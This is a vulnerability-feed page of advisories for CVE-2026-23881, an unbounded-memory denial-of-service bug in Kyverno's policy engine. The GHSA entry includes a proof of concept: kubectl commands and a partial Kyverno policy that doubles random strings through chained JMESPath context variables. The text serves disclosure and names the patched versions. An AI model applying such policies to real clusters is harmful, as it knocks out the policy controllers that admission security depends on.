Most recent entries from all

BIT-kyverno-2026-23881 — Kyverno Denial of Service via Context Variable Amplification in Policy Engine

2026-10-05T05:42:00.982688+00:00

Affected: Bitnami: kyverno

Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno's policy engine that allows users with policy creation privileges to cause denial of service by crafting policies that exponentially amplify string data through context variables. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability.

CLEANSTART-2026-EE99058 — Security fix for CVE-2026-23881 applied in: kyverno-policy-reporter-kyverno-plugin-fips 1.4.2-r7

2026-10-05T05:42:00.982744+00:00

Affected: CleanStart: kyverno-policy-reporter-kyverno-plugin-fips

Security vulnerability affects the kyverno-policy-reporter-kyverno-plugin-fips package. This issue is resolved in later releases. See references for vulnerability details.

EUVD-2026-266669

2026-10-05T05:42:00.982769+00:00

EUVD-2026-266669

fkie_cve-2026-23881

2026-10-05T05:42:00.982782+00:00

GHSA-r2rj-wwm5-x6mq — Kyverno Denial of Service via Context Variable Amplification in Policy Engine

2026-10-05T05:42:00.982816+00:00

Affected: Go: github.com/kyverno/kyverno

## Summary

Unbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.

## Details

For example, the `random()` JMESPath function in `pkg/engine/jmespath/functions.go` generates random strings. Combined with the `join()` function, an attacker can create exponential string amplification through context variable chaining:

The PoC attack uses exponential doubling: - `l0` = `random('[a-zA-Z0-9]{1000}')` → 1KB - `l1` = `join('', [l0, l0])` → 2KB - `l2` = `join('', [l1, l1])` → 4KB - ... continues to `l18` → 256MB

The context evaluation has no cumulative size limit, allowing unbounded memory allocation.

## PoC

Tested on Kyverno v1.16.1 on k8s v1.34.0 (kind).

1. Create namespace: ```bash kubectl create namespace poc-test ```

2. Observe pod statuses from `kyverno` namespace on another terminal: ```bash kubectl get pods -n kyverno -w ```

2. Apply malicious policy: ```yaml apiVersion: kyverno.io/v1 kind: Policy metadata: name: memory-exhaustion-poc namespace: poc-test spec: validationFailureAction: Enforce rules: - name: exhaust-memory match: any: - resources: kinds: - ConfigMap context: - name: l0 variable: jmesPath: random('[a-zA-Z0-9]{1000}') - name: l1 variable: jmesPath: join('', [l0, l0])…